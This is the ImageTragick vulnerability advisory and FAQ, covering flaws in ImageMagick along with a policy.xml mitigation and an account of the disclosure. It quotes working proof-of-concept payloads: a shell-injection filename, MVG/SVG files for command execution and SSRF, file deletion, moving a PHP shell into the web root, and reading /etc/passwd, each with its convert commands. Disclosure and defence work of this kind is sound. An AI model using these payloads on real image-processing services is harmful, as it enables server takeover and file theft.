There are multiple vulnerabilities in ImageMagick, a package commonly used by web services to process images. One of the vulnerabilities can lead to remote code execution (RCE) if you process user submitted images. The exploit for this vulnerability is being used in the wild.
A number of image processing plugins depend on the ImageMagick library, including, but not limited to, PHP’s imagick, Ruby’s rmagick and paperclip, and nodejs’s imagemagick.
If you use ImageMagick or an affected library, we recommend you mitigate the known vulnerabilities by doing at least one of these two things (but preferably both!):
<policymap> <policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="URL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /> <policy domain="coder" rights="none" pattern="TEXT" /> <policy domain="coder" rights="none" pattern="SHOW" /> <policy domain="coder" rights="none" pattern="WIN" /> <policy domain="coder" rights="none" pattern="PLT" /> </policymap>
@lcamtuf has a post that talks about mitigations you should consider beyond the basic blacklisting recommended in the initial disclosure. You should read it.
Note: Contrary to what is stated in the post, we have recommended sandboxing in our FAQ
from the beginning.
It would have been fantastic to eschew this ridiculousness, because we all make fun of branded vulnerabilities too, but this was not the right time to make that stand.
Initially, we disclosed this vulnerability via a blog post on Medium. We even joked in the post that the vulnerability didn't have a cool name or logo. The blog was read hundreds of times, but as the hours passed, we became worried that not enough people were aware of the vulnerability. Every script kiddie would have it in their hands soon, but a majority of people had no idea this vulnerability existed.
So we created a website, a twitter account, and used a logo that someone created as a joke the day before.
What happened?
We had thousands of hits in the first 15 minutes. We were at the top of hacker news, which a lot of people see. We were getting the word out on something tragickally simple to exploit. We'd do it again.
Nikolay Ermishkin from the Mail.Ru Security Team discovered several vulnerabilities in ImageMagick. We've reported these issues to developers of ImageMagick and they made a fix for RCE in sources and released new version (6.9.3-9 released 2016-04-30 changelog), but this fix seems to be incomplete. We are still working with developers.
Insufficient filtering for filename passed to delegate's command allows remote code execution during conversion of several file formats.
ImageMagick allows to process files with external libraries. This feature is called 'delegate'. It is implemented as a system() with command string ('command') from the config file delegates.xml with actual value for different params (input/output filenames etc). Due to insufficient %M param filtering it is possible to conduct shell command injection. One of the default delegate's command is used to handle https requests:
"wget" -q -O "%o" "https:%M"
where %M
is the actual link from the input. It is possible to pass the value like
`https://example.com";|ls "-la`
and execute unexpected 'ls -la'
. (wget or curl should be installed)
$ convert 'https://example.com";|ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
The most dangerous part is ImageMagick supports several formats like
svg, mvg (thanks to Stewie for his research of
this file format and idea of the local file read vulnerability in
ImageMagick, see below), maybe some others - which allow to include
external files from any supported protocol including delegates. As a
result, any service, which uses ImageMagick to process user supplied
images and uses default delegates.xml
/ policy.xml
, may be vulnerable to
this issue.
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";|ls "-la)'
pop graphic-context
exploit.svg
Example execution
$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
ImageMagick tries to guess the type of the file by it's content, so
exploitation doesn't depend on the file extension. You can rename
exploit.mvg
to exploit.jpg
or exploit.png
to bypass file type checks. In
addition, ImageMagick's tool identify
is also vulnerable, so it can't
be used as a protection to filter file by it's content and creates
additional attack vectors (e.g. via less exploit.jpg
', because
identify
is invoked via lesspipe.sh
).
Ubuntu 14.04 and OS X, latest system packages (ImageMagick 6.9.3-7 Q16 x86_64 2016-04-27 and ImageMagick 6.8.6-10 2016-04-29 Q16) and latest sources from 6 and 7 branches all are vulnerable. Ghostscript and wget (or curl) should be installed on the system for successful PoC execution. For svg PoC ImageMagick's svg parser should be used, not rsvg.
All other issues also rely on dangerous ImageMagick feature of external files inclusion from any supported protocol in formats like svg and mvg.It is possible to make HTTP GET or FTP request:
ssrf.mvgpush graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
the following then makes an http request to example.com
$ convert ssrf.mvg out.png
It is possible to delete files by using ImageMagick's 'ephemeral' pseudo protocol which deletes files after reading:
delete_file.mvgpush graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context
$ touch /tmp/delete.txt
$ convert delete_file.mvg out.png # deletes /tmp/delete.txt
It is possible to move image files to file with any extension in any
folder by using ImageMagick's 'msl' pseudo protocol. msl.txt and
image.gif should exist in known location - /tmp/
for PoC (in real life
it may be web service written in PHP, which allows to upload raw txt
files and process images with ImageMagick):
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context
/tmp/msl.txt
/tmp/image.gif
- image with php shell inside
(https://www.secgeek.net/POC/POC.gif for example)
$ convert file_move.mvg out.png # moves /tmp/image.gif to /var/www/shell.php
It is possible to get content of the files from the server by using ImageMagick's 'label' pseudo protocol:
file_read.mvgpush graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context
$ convert file_read.mvg out.png
produces file with text rendered from /etc/passwd
Stewie found the initial bug, and Nikolay Ermishkin from the Mail.Ru Security Team found additional issues, including the RCE.
No. We would like to give people a chance to patch before it is more widely available. The exploit is trivial, so we expect it to be available within hours of this post. Updates and PoC will eventually be available here.
The first few bytes of a file can often used to identify the type of file. Some examples are GIF images, which start with the hex bytes "47 49 46 38", and JPEG images, which start with "FF D8". This list on Wikipedia has the magic bytes for most common file types.
We have collectively determined that these vulnerabilities are available to individuals other than the person(s) who discovered them. An unknowable number of people having access to these vulnerabilities makes this a critical issue for everyone using this software. ImageMagick also disclosed this on their forum a few hours ago.
They are effective against all of the exploit samples we’ve seen, but we cannot guarantee they will eliminate all vectors of attack.
Sandboxing ImageMagick is worth investigating, but we are not providing specific instructions for doing this.
We did not find this vulnerability ourselves. We understand the mechanisms involved, but credit for finding this vulnerability should go to the researcher(s).
Us.